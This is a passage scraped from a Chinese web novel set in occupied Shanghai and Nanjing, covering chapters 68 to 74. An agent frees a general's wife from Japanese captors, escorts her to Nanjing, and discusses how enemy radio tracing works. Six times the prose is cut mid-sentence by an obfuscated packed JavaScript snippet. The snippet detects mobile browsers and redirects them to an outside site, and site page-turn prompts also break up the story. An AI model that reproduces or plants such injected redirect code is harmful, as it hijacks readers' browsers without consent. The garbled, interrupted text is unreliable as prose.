“不管怎么说,我还是要谢谢几位,这项任务本来与你们无关,甚至和你们的组织也毫无关系,是我硬求我的那位朋友帮忙的!” “林先生不用再客气了,只要是干鬼子,就和我们有关系,只要咱们是中国人,就和我们有关系!”小钱迫不及待说道。 轿车一路向西。 天色渐明。 四十分钟后,路两边的建筑稀疏了起来,车已行至郊区地带,又行驶半个多小时,司机老王说话了,“前面就是真如镇了。” 来到真如镇,天色大亮。 镇子上冷冷清清,几乎看不到一个行人。在最繁华的镇中心,宽大的街道两边,只有几家小吃店开门迎客,门外的火炉上蒸着包子和馒头的蒸笼热气腾腾,乳白的热气带来了些许生气,但食客寂寥。除了包子店外,周围还有烧饼店、馄饨店以及面店,同样生意萧条。 林赤让老王把车停在街边。 “时间还早,我请大家吃点东西,你们想吃什么?”林赤问。 其实人的饮食偏好和人的审美观点一样难以统一,你明明觉得该女子端庄素雅,可对方觉得风情万种,你明明认为是矫揉造作,可对方偏偏认为是仪态万方。所以,当林赤提问大家就自己喜欢的吃食表态时,竟同时冒出五花八门的意见,除了烧饼、包子、面条和馄钝外,司机老王咽了口口水,有些不好意思地说道:“不知有没有油条?” 众口难调,无奈之下,只得择其一,面条店兼营馄饨,一下子占据了两大类,自然得票最多,加上包子和烧饼可以另买外带,众人心满意足入座,享受着这份看起来丰盛而惬意的早餐。至于老王爱吃的油条,赵楷走了数百米开外,也没能找到,故而这顿早餐,司机老王是注定满意不了了。 但无论如何,沦陷后的上海,几位共产党的行动队员已经很长时间没能够享受如此奢华的早点,林赤的大方慷慨起码保证了大家的管够,这着实让在座的诸位心情愉悦了好一阵子。 饭罢,众人打着饱嗝上车,司机老王继续开车西行。 一公里后,已不见人家,出了镇子,果真如李景轩所言,镇子的西首,出现 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14259578|151631||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了一座大桥。大桥长度二十来米,宽度也有六七米,竟能容两辆车交汇。桥下,是一条水流湍急的大河。 桥西是一段四五百米宽度的青松翠柏树林,车子穿过这片林地,一条宽阔的公路起始于此,绵延而去,一块巨石界碑上,刻着几个字:沪宁公路。 林赤命老王停车。 林赤跳下了车,跑步上了公路,四处探望一番,又爬上了那块界碑,向镇子的方向眺望。观察好一阵子,林赤从界碑跃下,对众人说道:“就这儿了!” 赵楷插话:“这地方伏击合适吗?” “这里除了这片树林,没有什么掩体啊!”小孙也说出了自己的看法。 “我们不可强攻,只能智取!”林赤目光扫视了一下众人,又道:“老王,你把车掉个头,先停在路边,把引擎盖打开,小孙和小钱潜伏进树林,老赵负责在界碑上警戒,我们的目标也是一辆轿车,一旦目标出现,老赵第一时间通知我们,老王立即把车移至马路中央,老赵以最快的速度藏身我们的车后,我会站在车前,负责截停目标车辆。敌人人数应该为四人,包括司机在内,另外副驾驶一人,后排两人,人质应该坐在后排中间,只要对方车一停车,小孙和小钱从车后面抄近,要做到神不知鬼不觉,千万不能让对方发觉,如果对方有人下车,下车的必定是副驾驶位上的,我负责射杀他,以我的枪声为信号,一旦枪响,所有人立即动手,老赵负责击杀司机,老王 坐在驾驶室里随时准备发动车辆,应对可能出现的意外;小钱和小孙负责解决后排的两名敌人,你们先试着打开后车门,门如果打不开,就隔着玻璃解决,记住,千万不要伤到人质,人质是名女士!当然局面一混乱,司机有可能立即开车冲撞,我会尽自己所能帮助老赵干掉他的!” 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩! 第69章 归途 从车里走下一个瑟瑟发抖的女人。 女人三十五六岁,面容姣好,端庄素雅,脸上涂有一层淡淡的胭脂水粉。她的身上溅染着斑斑点点的血迹,双手交叉放在胸前,一副惊魂未定的样子。 林赤走上前,刚想问话,女人本能地后退两步,林赤知道,这突如其来的杀戮场面一定把她吓坏了。 林赤收起枪,和颜悦色地问道:“你叫什么名字?” “秦素芬。”女人声音很低。双手从胸前拿开,但似乎怎么也找不到一种合适的姿势。 “哦……”林赤应一声,想起什么,转头对众人说道:“你们帮个忙,把现场打扫一下,把鬼子的尸体都统统扔到前边的河中!” “老赵,你检查一下鬼子身上有没有证件,把证件都留下!”林赤又吩咐赵楷。 司机老王赶紧将汽车的引擎盖回复原位,并将车开到马路右侧停好。赵楷带着其他人将尸体搬上鬼子的轿车,由赵楷驾驶,向镇西的那座桥开去。 现场安静了下来,眼前的女人低着头不停地掰弄着自己的手指,她的手指上有粉红的指甲油。 “日本人没把你怎么样吧?”林赤待众人走后问道。 “没有……”秦素芬摇摇头,盯着林赤,她已不再发抖,似乎恢复了镇定。 “刘云雄是你什么人?”林赤又问。 “云雄?云雄他在哪里?他怎么样啦?”秦素芬一听到刘云雄三字,像触电一样跳了起来,一脸关切,身子前倾,伸手一把抓住林赤的衣服。 林赤下意识地看了看她的手,秦素芬立即松开林赤的衣服,有些手足无措,呐呐道:“你认识我丈夫?” “我不认识他,但我知道他。” “你是什么人?” “我和他一样,都是党国的军人。”林赤顿了顿:“只不过,他是将军,而我只是一名士兵!” “哦……”秦素芬立即松了口气,神态立即显得轻松自如,语气略带责备:“你们怎么这么晚才来?” “我们也是刚刚得到消息,让夫人受惊了!”林赤不无歉意道。 “我丈夫现在关在哪里?”秦素芬一脸严肃问道。 “具体的关押地,我还不清楚,这需要进一步打探。” “你们怎么搞的嘛,这么长时间啦,连个人关在哪里都没弄清楚?”秦素芬大为不满,继续责问道:“你们就这样对待一位有着赫赫战功的将军?这岂不让人心寒!” “夫人不要生气……”林赤安慰道:“我们从上到下都在全力营救刘将军!” 秦素芬面色稍缓,重新打量着林赤,“小兄弟身手不错啊,怎么称呼你呀?” “林赤。” 这时赵楷驾车归来,把车停在林赤身旁,小孙和小钱跟着跳下车,小孙走近林赤,高声说道:“林先生,我们按你的要求做了,都从桥上扔到水里了,估计现在已漂到一公里以外……真他娘的痛快,不费一兵一卒,取了四条鬼子性命,这可是大胜啊!” 林赤从头上摘下棉帽,轻轻扔出,小孙欢快地拿脑袋去接,不偏不倚扣在了他的头上。 “谢谢你的帽子!” “既然你喜欢,就送给你了!”小孙先是正了正帽子,听林赤一说,马上又把帽子摘下。 “那不用,我的头受不了冻,这不,太阳上来了,一切都好了!” 小孙又把帽子扣在头上,想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14259579|151631||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起一事,显得羞于启齿的样子:“他们的武器……要不就归我们……权当酬劳如何?” “但是我想……”林赤话一出口,小孙马上露出紧张地神色。 “我想,我的这把枪子弹已不多,换一把如何?” “没问题,没问题!”小孙大方道。立即打开手里提着的一件衣服包裹,从里面拣出一支手枪,拔出弹匣看了看,说道:“这支满仓,归你了!” 林赤接过手枪,对秦素芬说道:“你跟他们的车回市区……” “回去?!”秦素芬马上跳了起来,“你是让我回去?我怎么回去?上海我连个家都没有了!你是让我再被日本人抓进去?”秦素芬双目圆瞪,越说越气。 “这……”林赤一时不知如何是好,这一点,林赤确实没有想到,正在为难之际,秦素芬又道:“我要跟你们一起回南京,我要见我丈夫,我就是死也要和他死在一起!” “可是,当下的南京不比上海,鬼子在南京到处抓人、杀人,再说,你去南京住哪里啊?!” “你们总不至于连个住的地方都安排不了吧?我好歹也是一名将军的夫人!” 赵楷已下车站在林赤身边,插话道:“要不,夫人的住处我来安排吧……” 带秦素芬回南京,其实林赤很纠结,这就意味着他林赤要对她的人身安全担当起来,本来对她的营救,就是自己自作主张,组织上甚至没有明确许可,但他又没法和她说明,可是让她再回上海,分明是送羊入虎口,情理上已说不过去,更关键的是她的安全已得不到保障,事已至此,林赤不再说什么,即使风险再大,也只能他一个人扛下来。 这章没有结束,请点击下一页继续阅读! 第70章 外生枝 赵楷也是逞一时之气,并不想有所作为。老板娘这句话明显软了下来,弄得他反而尴尬,不知如何收场。 林赤上前,拿起枪放回赵楷手里,对老板娘问道:“这里距南京还有多远?” “钱飞,这里到南京还有多远?”老板娘对着喝茶的几人大声问道。 一个壮实的青年男子从桌旁站起,走上前来,在林赤身边站定,打量着林赤,漫不经心道:“你们这是去南京?南京如今可不太平!” 秦素芬不失时机道:“南京怎么不太平啦?难不成日本人可以随随便便就杀人?” 钱飞冷冷地看了她一眼:“就你这身扮相,走在南京的街上,不早让日本人给吃了!”秦素芬听出他的言外之意,脸一红,正想反讥几句,钱飞又道:“不过,也不好说,我看你们是开着小轿车的,来头一定不小,这位兄弟居然枪都拔出了,分明是吓唬我们老百姓呢……你们和我们斗什么气,这年头,国都没了,家也没了,还不兴让我们发点牢骚?假如听了心里不舒服,你们呀,多担待点!” 林赤见眼前这位青年年纪虽不大,但说话行事却很老到,更不把赵楷手里的那支枪当回事,知道他也有一定来头,不想节外生枝,便温和地对老板娘说道:“麻烦弄点吃的,越快越好,我们还要赶路呢。” 老板娘“哎”了一声,挥了挥手,掷骰子的人群中走出一脸大体圆之人,进了里间厨房。老板娘跟着走进,并交待一番。 “你们从哪里来?”钱飞问。 “上海。”秦素芬抢答道。 钱飞的目光在秦素芬身上停留片刻,马上露出一丝异样的神色,林赤知道他发现了秦素芬身上的血迹,忙道:“路上遇到了劫匪,干了一仗,弄死了一个!” 钱飞一副无所谓的样子,“到南京也就四十多公里的路程,你们开车最多一个小时就到了,不用太着急。” 一条红烧鲫鱼,外加一道笋干炒咸肉,每人一碗玉米渣饭,饭很快吃完。 林赤付完钱,和老板娘道了别,三人出了饭店。 赵楷发动车子。 林赤为秦素芬打开车门,自己也上了车。 车子从饭店门前凹凸不平的路面慢慢骑上了公路,颠簸着向西而去。 林赤坐在前排副驾驶座位上,道路上空的阳光刺得他睁不开眼睛,他索性把眼睛闭上……自从上车后,林赤总隐隐感觉到哪儿不对劲,当他的眼睛刚闭上,脑中立即显现出后排座位地面上的场景,林赤心忽然一沉,脱口喊了一声:“不好,快停车!” 赵楷立即制动刹车,轮胎与路面剧烈摩擦发出了刺耳的噪音。 “怎么啦?”赵楷紧张问道。 “他们偷走了我们的箱子!” 秦素芬赶紧扫视脚下,跟着喊起来:“是啊,箱子不见了!” 赵楷二话没说,立即倒车回去。 汽车在饭店前的公路边停下。 “你在车里保护好夫人,不用管我,我去去就来!”林赤对赵楷说道。说完林赤跳下了车,一溜小跑,来到饭店门口,马上拔出手枪,打开保险,接着一步跨进店内,直奔吧台而去。 店内的那帮人都还在,钱飞依旧坐在原位喝着茶,胖子厨师又加入了掷骰子的人群,老板娘在吧台里继续嗑着瓜子…… 林赤步伐急促,目不斜视,当他靠近钱飞之际,突然一侧身,以迅雷不及掩耳之势,左手立即扣住钱飞的喉咙,一抬右 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14259580|151631||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手,枪口已经顶在他的后脑勺上。 这忽生的变故,让在场的所有人都吃惊得张大了嘴巴。 林赤声音冰冷,“把我的东西还给我!” 老板娘这时连忙从柜台里站起,嘴里大声叫道:“这位兄弟,有话好说,有话好说!”一边说一边冲了过来。 林赤也不看她,抬手一枪,柜台上的一瓶高粱烧应声爆碎,玻璃碎片伴着酒水四处飞溅。 这一枪,吓得老板娘立即呆立原地,不敢再前进一步! 这一枪,阻止了周围蠢蠢欲动的人群,有几位把手伸向腰间的人立即又缩了回来。 这一枪,惊得赵楷立即飞跑而至。 赵楷横立在门口,扬起手枪跟着也大喊起来:“你们所有人都别动,谁敢乱动我格杀勿论!” 林赤再次把枪口对准钱飞的脑袋。 “你的东西?我没拿你什么东西?”钱飞狡辩道,语气有些惊悚。 林赤不愿废话,一低枪口,朝着钱飞的大腿又是一枪。 “哎吆!”钱飞发出痛苦的吟叫,气急败坏大叫起来:“你到底想干什么?” “把我的东西还给我!”林赤将顶在他脑门上的枪口向前又送了送,厉声说道:“我不会再说第三遍!” “好好,兄弟你先把枪放下,有话好说,我这就叫人还给你!”钱飞闷声道。 林赤刚想把枪缩回,突然门口传来秦素芬哀求的声音:“林兄弟救我……” 林赤抬头发现门口已多出三人,一支手枪同样顶着她的脑袋,不仅如此,赵楷手上的枪不知何时已被对方卸去,他的脑袋也被人用枪顶着! 这章没有结束,请点击下一页继续阅读! 第71章 归来兮 经汤山,过龙潭,进马群,汽车似乎在一路追赶着西移的太阳,转眼间,车已驶进南京东郊。 太阳在紫金山的庇护下,忽然间藏匿了起来。 远处的紫金山巍峨挺拔,山顶上笼罩着一层青色的雾气,夕阳的余晖在缥缈的雾霭中若隐若现。 轿车很快穿过马群镇,碾过镇西的青马桥,擦过桥西陡峭的岩壁,紫金山已近在眼前。 眼前的情境越来越熟悉,一切恍如梦魇,似乎就在昨天,又似乎相隔了很多个年头……一瞬间,枪声、炮声、军号声、敌我双方的嘶叫声在林赤的耳畔纷至沓来,紫金山南麓的这片阵地上,日军的重炮射出的炮弹在空中不间断的呼啸着,摧枯拉朽般在阵地上刨出一个又一个巨大的深坑,飞扬的尘土遮蔽了视线,战友们成片倒下,鲜血在空中飞溅,呻吟声不绝于耳,日军步兵跟随着隆隆的战车发起一波又一波的冲锋……所有的这一切,此刻在林赤的眼前一幕一幕地浮现! 关于这片阵地存留在他脑海中的最后画面,是鬼子士兵们胜利的狞笑,接着,一颗子弹击中了他,他的记忆从此一片空白…… 这时,车身猛地一抖,伴随着刺耳的急刹声把林赤拉回了现实。 一块巨石横亘在马路中央。 赵楷骂了一声娘,打开车门正欲前去清除路障,突然从马路两边的树林里窜出七八个人,人手一支长枪,很快将轿车团团围住。 “别动,把手举起来!”一人用枪首先顶住了赵楷。接着又一支枪口从林赤这边的窗口探进来。很快车后门被打开,一个声音惊喜道:“凌队长,这里有只箱子!” 另一个声音插话道:“队长,这里还有个女的,该不会是个日本娘们吧?” 秦素芬好歹还是个旅长夫人,应该在兵营中待过不短时间,又见过世面,遇此情形,并不慌乱,一听这话,脱口骂道:“我呸,你娘才是日本娘们呢!你睁大狗眼看看,老娘可是中国人!” 那士兵明显不善言辞,被秦素芬这一骂,竟找不到合适的话反击,只是拉拉枪栓算是回击。 秦素芬一看这架势,更生气了,张口又骂道:“你还想开枪?来呀,朝老娘脑袋来一枪!说着把身子往对方枪口上撞。” 那士兵更加手足无措,反复道:“你再往前,我真的开枪了!” 这时,那位凌队长走上前来,拍拍那士兵的肩膀道:“冯勇敢,我和你说了多少遍,人的威严是由内而外的,只有懦夫才喜欢用枪威胁别人,枪不是用来壮胆的,而是用来杀敌的!” 秦素芬冷笑一声:“杀敌?你把老娘当成敌人?真是瞎了你的狗眼!” 凌队长具备惊人的修养,脸上竟看不出气恼,微笑着说道:“我看这位大姐长得也算人模狗样,怎么开口闭口都是老娘老娘的,你这么想当娘,我改天多给你介绍几个儿子,上到六十岁的,下到几岁的,应有尽有,让你当过瘾!”凌队长的口才明显要优于那位叫做冯勇敢的士兵。 秦素芬看对方回击不慌不忙,逻辑严谨,知道遇到了对手,立即重视了起来,便将眼前的这位从上到下仔细打量一遍,但见他薄薄的唇下长着一颗大门牙,那牙长相奇特,体型粗壮,从牙床外侧突兀而起,盘踞在要冲位置,显得虎虎生威。这一通观察后她心中马上有了计较,便说道:“我看你仪表堂堂,口才又好,妙语如珠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14259581|151631||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,狗嘴一张就吐出一颗象牙,我就奇了怪了,你这牙到底是怎么长的,满世界都找不到第二颗,是不是小时候吃奶吃多了,养分太过充足?” 凌队长平时最自卑的就是他的这颗大门牙,曾经为了这颗门牙,不知和多少人闹过不愉快!秦素芬话一出口,他下意识立马用上下唇将大牙包住,但这一包即意味着无法用语言的匕首回击,思虑于是大开大合,嘴唇也跟着大开大合,脑子一阵混乱,竟无言以对! 秦素芬眼见对方败下阵来,一时间心花怒放,但心思丝毫没有松懈,大有痛打落水狗之气势:“你姓凌是吧,老娘赐你一名,你以后干脆叫‘凌大牙’算了!” 这一刀立即刺中凌队长心中最柔软处,他恼羞而绝望地咿呀一声。 一旁的冯勇敢自然听到过魏胖子魏瑞曾对凌队长有过这样的称呼,忍俊不禁,哈哈笑了起来。 凌队长脸上红一阵白一阵,呼吸急促,刚刚教训过冯勇敢的话已抛在脑后,立即抬起枪,拉了拉枪栓。 秦素芬抬手把凌队长的枪口朝下压了压,一脸威严说道:“71军260旅刘旅长认识吗?” “我不认识什么狗屁刘旅长!”凌队长气鼓鼓道。 “你是说260旅刘云雄旅长?我认识,他是我们旅长!”人群中马上有人回答,他接着又问道:“你是?” “我是你们刘旅长夫人!”秦素芬自豪地说道。 那士兵立即像是见到了娘家人一样,亲切地大喊道:“嫂子好!”接着朝所有人边打着手势边说道:“你们都把枪放下,她是我们旅长夫人!” 这章没有结束,请点击下一页继续阅读! 第72章 晚宴 暮色四合,华灯初上。 过了中山门,已进入南京城区。 十多分钟后,车至中山南路,左拐向南,又行数分钟,三元巷到了。 陶府就在眼前。 “赵兄先回,我去去就来。” 林赤扯下身上的白布,换下了赵楷,驾车而去。 来到应天教会医院,林赤将车停在医院门口,直奔二楼。 二楼的医生办公室里,不见曲思秋。一名男医生正伏案写着什么。 “请问,曲医生在吗?”林赤问,旋即又补充道:“就是曲思秋曲医生?” “她不在。”医生扫了林赤一眼。 “那您知道曲医生去哪儿啦?” “不知道,我已经两天没看到她了。”男医生说完继续写着东西。 林赤下楼,来到车前,刚想上车,忽然想起什么,转头看了看斜对面的医院男宿舍楼,思索片刻,一把抓起车内的那件已被撕破的白衬衫,向宿舍楼走去。 曲思冬送他的那支毛瑟98K狙击步枪,还被他藏在楼顶天台的蓄水箱里。 一口气爬上四楼。 通往天台的木梯已回归原处,林赤踩上木梯,踏上天台。 林赤褪去外衣,只留下一件短裤。他努力爬上了蓄水池,翻身跳进了水里,水很深,冰冷刺骨。林赤猛吸一口气,一头扎进水里,很快就碰到了枪身…… 他握着心爱的毛瑟98K浮出水面,把它递出水箱外,然后再次潜进水里。 子弹、望远镜都被他悉数寻出。 出了水箱,林赤依着身体将短裤的水挤干,穿上了衣服。 林赤用那件白衬衫包住步枪,提着它重新回到了车上。 来到陶府,林赤按了声喇叭,老吴匆匆走出,替林赤打开大门。 “会长他们都在等着你回来吃饭呢!”老吴一边关门一边对林赤说道。 林赤把那支毛瑟步枪藏在了自己房间的床底下。 走进餐厅,林赤听到里面热闹异常,欢声笑语中隐约有他熟悉的声音。 林赤推门而入,正见赵楷口若悬河地夸夸其谈,一群人围坐在他的周围。 人群中,曲思秋赫然在列。 陶天阙陶老会长手握一根手杖,坐在赵楷对面,正颌首微笑,他的左手一侧,依次坐着陶楚歌、曲思秋,以及陶楚歌的二姑陶慕云,右手一侧坐着一对中年男女,林赤从未见过。 众人看到推门入室的林赤,皆将目光投向了他。 曲思秋和陶楚歌几乎同时立身。 曲思秋正要开口,陶楚歌已抢先说道:“你回来了!” 曲思秋马上收声,坐了下来。 林赤将目光停在陶天阙身上,低头问好道:“陶会长好!” 陶天阙连忙站起来,笑着说道:“听说林先生这次上海之行,可是风光无限啊!” 林赤立时明白一定是赵楷已将上海之行的种种经历讲与众人听了。 林赤将目光逐一扫过。首先落在了曲思秋身上,林赤神色一动,目光带笑,算是和她打了招呼,曲思秋也跟着嫣然一笑,算是回应。接着目光停在陶楚歌身上,“陶小姐好!”算是对她刚才的问话做了回答,陶楚歌刚想继续问话,林赤已将目光移至陶慕云身上,“二姑好!”陶慕云微微欠身:“林先生辛苦了!” 最后,林赤的目光停留在那对中年男女身上。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14259582|151631||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “您是……” 陶慕云马上介绍道:“这是我大哥大嫂。” 陶楚歌跟着不失时机补充道:“我爸妈。” “我叫陶慕鸿。”中年男人伸手和林赤相握。 “我们一回家,就听说了林先生,既然你到了,咱们就吃饭吧!”中年女人笑吟吟道。 具有着厚重历史的中华民族,伴随着技术的创新和思想的革新一路走来,从来就是建立在传承的基础之上,尤以文化的传承为最,弃其糟粕,取其精华,再进行深度加工,这样的加工无法速成,只能依仗时间的厚度,正如陈年老酒,那是摆得越久,味道越是醇厚!某些异邦夷族对大中华传承的文化,历来羡慕,刻意效仿,其结果只能是画虎不成反类犬,这也正是中华酒酿和洋酒的区别!在所有的文化传承中,又尤以餐饮文化为奇葩,在经过数千年的积淀后,又进一步演变成若干分支,且脉络鲜明,除了菜品文化、小吃文化、服务文化、餐厅文化外,宴会文化成为该文化的核心。 就拿眼前的这次小小的家宴来说,菜品也许并不丰盛,也不会有过多繁琐的礼节,更没有奢华的服务,就餐的环境也谈不上考究,然而,正是如此一次貌似简单的晚宴,却发挥着惊人的奇效。 林赤首先感受到了来自陶氏家族对他的关怀与爱护;平素一贯以威严示人的陶老会长竟是如此健谈和慈祥;刚刚认识的陶慕鸿夫妇只是往来了两杯酒,就熟络如故;看起来话语不多的赵楷竟也有诙谐的一面;通过交流,林赤得知陶府的管家老吴居然身手了得;曲思秋在这样的场合愈发内敛和矜持;陶楚歌似乎永远那么快乐而无忧…… 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩! 第73章 未雨绸缪 陶楚歌大大咧咧在林赤身边坐下,抬头看了看灯说道:“这灯瓦数低了,看起来昏暗暗的,明天我让人给你换个50瓦的。” 半天无人响应,陶楚歌撇了撇嘴:“你们是不是不欢迎我呀,也没人和我说话,是不是打扰到你们啦,我还是回去吧!” 曲思秋脸一红,忙说道:“没有,我们只是……只是谈起了一个上海的朋友,心里难过。” “你们那朋友怎么啦?” “他被日本人打死了,他死的时候,林赤就在他的身旁。” “哦……”陶楚歌把眼光投向林赤:“那林大哥怎么不救他?” “是他为了救我才被日本人打死的!”林赤答道,“本来死的应该是我。” 林赤看陶楚歌好像又要发问,怕在这个话题上纠缠下去,连忙转移话题。 “你们的临时诊所筹办得如何?” “差不多了,明天上午安排人去趟应天医院,再调剂些药品回来,就可以开张了。” “诊所开在什么地方?” “新街口的大华电影院对面,楼上楼下两层,牌匾都挂好了,叫做利民诊所。” “哦……那里还有店面吗?我想把照相馆也设在附近。”林赤道。 “好啊好啊!”陶楚歌雀跃起来,“那里的地方很多,租金又便宜,就是……” 林赤忙问:“就是什么?” “房东不好联系。”曲思秋替陶楚歌回答道。 “我们也是让人在那里等了整整两天,终于碰到了房东,自从日本人占领了南京后,房东一直躲在其它地方,这次也是不放心店铺才过去看看,正好被我们撞到。”陶楚歌补充道。“不过,房子应该好找,你别烦了,我让人给你办,此事包在我身上,你该忙啥忙啥去吧。” “那敢情好。我先谢谢陶小姐了!” “谢什么谢!咱们不是一家人嘛……”陶楚歌话一说出,似觉不妥,又说:“咱们现在不都是为了一个共同目标,那就是拯救南京人民于水火!”陶楚歌大义凛然道。 第二天早晨起床,林赤照例碰到了遛鸟的陶天阙,向他问了好。 两人坐在西厢房门前的亭廊里闲聊着。 “这车是你从上海开回来的吧,这车不能要了,我们赤盟会那里还有辆车闲置着,改天我让人开来给你用。那辆车有日本人颁发的通行证,你开着办事也方便!” “谢谢陶会长!” “照相馆的事你抓紧筹办,需要用钱的地方,跟老吴讲,我会安排下去的。” “好的,我已和楚歌小姐说好,她答应今天就让人着手找店铺。” …… 早饭后,陶天阙去了赤盟会,曲思秋和陶楚歌去忙诊所的事宜,赵楷带着一人去火车站提到站的照相设备去了。 林赤把那辆从上海开回的轿车的车牌卸下,藏匿起来,然后驾车来到月息路。 锤子一见到林赤,亲切地一把抓住他的手,“你可算回来了,上海之行还顺利吗?” “一切都好!任务我已经获悉,只是不知从何下手!”林赤于是将任务详情说与锤子听了。锤子沉思很久,也道:“是啊,这任务确实难办!眼前简直一抹黑,这食人虎兽尊到底长什么样子都不知道,况且,我们只知道它最初是在总统官邸,可是这样一件好东西还不早给人弄走了?被谁弄走了?现在还在不在南京?在何人手上?……这些没有丝毫头绪,大海捞针 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14259583|151631||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 啊!” “如此情形,我们必须在敌人内部安插一双眼睛!” 锤子苦笑:“这又谈何容易!” “我走这几天,重庆方面有没有进一步的指令?” “唉,你走这几天,我们也试图和重庆取得联系,可每次刚开机,不一会儿就停电了……”锤子无奈地说道。 林赤的眉头忽然皱了起来,追问道:“自断电之后,一次也没有开机?” “是的!况且,你上海未归,任务未明,也没有特别重要的事情,和重庆方面就再无联系!”锤子看出林赤的异样,连忙问道:“怎么啦?有什么问题吗?” 林赤眉头微微舒展开来,“没开机就好!任何一部电台的出现,都会引起敌人的高度重视!我这次上海之行,就听说了前不久他们有一部电台暴露了,说不定就是和我们联系的那部电台……”说着说着眉头又紧锁起来:“敌人应该已经锁定了我们电台的大体位置……” “怎么会这样?这到底怎么回事?” “敌人这是在用分区断电的方法,判断我们电台的方位!这之前敌人肯定早已侦听到我们的无线信号,所以你们每次开机后,信号一出现,敌人就依次切断各区域的电源,当切断我们的这片区域的电源时,就会发现信号忽然消失……” “你是说敌人已判断出我们电台的大致方位?”锤子显得担忧起来。 “应该如此,只不过我们对南京城的电路管理系统不了解,也不知道断电的这片区域到底有多大?不过还好,你们没有再开机,他们也不好进一步判定!但我想,鬼子的电侦车应该经常在我们这片区域侦查……” 本小章还未完,请点击下一页继续阅读后面精彩内容! 第74章 黄昏的枪声 林赤和锤子告别,正欲离开,锤子问道:“你接下来去哪里?” “去新街口,看看那里有没有合适的店铺。” “那我开车送送你,正好摸一下情况。”锤子说道。“如果店铺能定下来,这里你以后就不要来了,除非有紧急情况。” 锤子驾车,带着林赤来到新街口。车刚行进到大华电影院门口,林赤就一眼看到了街对面的利民诊所,房子是旧的,上下两层,但诊所的招牌明显是新近挂上的,白底红字,那白色,没有一丝尘染,那红色,耀眼夺目。这样的景况,与周围的衬景格格不入,在一片颓废中格外焕发出勃勃生机。 两个女孩走出门外,提着一个白色的塑料桶,在墙面上粉刷着白漆。 “这是赤盟会陶天阙会长在南京城开的第一家临时诊所。”林赤对锤子解释道。 锤子驾车离去。林赤穿过大街,来到诊所门前。陶楚歌抬头看是林赤,马上摆出一副居功自傲的样子:“林大哥不用烦心了,你要的店铺我已经给你落实好了!” “真的?”林赤倒是诧异陶楚歌的效率之高。 “不信你问思秋姐。” “楚歌答应你的事又怎么会怠慢呢?人家一大早过来,第一件事就是让人给你联系房子。”曲思秋目光含笑,但神情间隐约有一丝失落。 “哪间店铺?”林赤忙问。 “喏,那一家。”陶楚歌指了指利民诊所南侧的第二间房子,“你说巧不巧?这间店铺房东和我们这家的很熟,听说人去了重庆,但房子是委托我们的房东来经纪的。价钱也实惠,比我们这间还要便宜。” “哦?”林赤走上前去兴趣盎然地打量着眼前的房子。 